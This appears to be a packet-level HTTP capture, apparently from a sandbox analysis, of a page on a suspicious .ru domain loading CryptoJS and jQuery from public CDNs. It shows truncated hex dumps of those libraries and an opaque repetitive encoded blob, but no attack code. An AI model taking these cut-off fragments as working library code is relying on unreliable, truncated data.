2025-03-27 13:34:03 UTC	1369	IN	Data Raw: 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 Data Ascii: g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk77

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:04 UTC	604	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:04 UTC	967	IN	HTTP/1.1 200 OK Date: Thu, 27 Mar 2025 13:34:04 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 31683 Expires: Tue, 17 Mar 2026 13:34:04 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dg9r5qdORiMLm3abDkql9V7AdjYoUatpt1uBmi%2F%2FGyBeuwCzn8KKLr3VJXEcYn%2BKRiWviXIWBz2%2BOxhu7pzP4xyCuxdq0gIFBjtxYw7sMGyHZ5d%2F%2FLBM78K9Mz%2BqUcDD%2FMR7C4dG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 926f435e0fd8f793-EWR alt-svc: h3=":443"; ma=86400
2025-03-27 13:34:04 UTC	402	IN	Data Raw: 37 62 65 38 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7be8!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 Data Ascii: "!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Ob
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 6f 2e 63 6c 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e Data Ascii: o.clone.call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.ran
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 Data Ascii: ing"==typeof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 4e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 Data Ascii: N(){for(var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d Data Ascii: >>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 28 74 2e 62 75 66 66 65 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 Data Ascii: (t.buffer,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={str
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 61 72 20 6f 3d 72 2e 63 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 Data Ascii: ar o=r.charAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGH
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 36 2a 61 2e 61 62 73 28 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 Data Ascii: 6*a.abs(a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}v
2025-03-27 13:34:04 UTC	1369	IN	Data Raw: 32 33 2c 41 5b 33 39 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c Data Ascii: 23,A[39]),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,

Timestamp	Bytes transferred	Direction	Data
2025-03-27 13:34:04 UTC	576	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://mgdm.icemiceop.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-27 13:34:04 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 27 Mar 2025 13:34:04 GMT Age: 1751427 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740042-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 4 X-Timer: S1743082444.435974,VS0,VE0 Vary: Accept-Encoding
2025-03-27 13:34:04 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-27 13:34:04 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2025-03-27 13:34:04 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2025-03-27 13:34:04 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2025-03-27 13:34:04 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
